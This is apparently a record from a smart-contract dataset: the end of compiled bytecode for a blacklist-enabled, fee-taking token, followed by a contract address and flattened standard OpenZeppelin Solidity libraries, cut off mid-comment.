600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846107cf565b610f9b9190611d0a565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306107cf565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610a53848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d61565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119aa565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9a565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610a5357610a53600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee908661177d565b6001600160a01b038916600090815260026020526040902055611610816117dc565b61161a8483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d22565b6006546000908190662386f26fc100006116ba82826114e8565b8210156116d557505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b61152a565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178a8385611d0a565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117e661152a565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e8565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b9992985090965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe57506000610682565b600061190a8385611d42565b9050826119178583611d22565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130e81611dbf565b6000602082840312156119bb578081fd5b815161130e81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130e8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012670b8eb0718fd60711e7f808324077f3bb7597033f449a028bfbb273e3b87b64736f6c63430008040033
[ 13 ]
0xf32e1bde889ecf672ffae863721c8f7d280f853b
// File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps 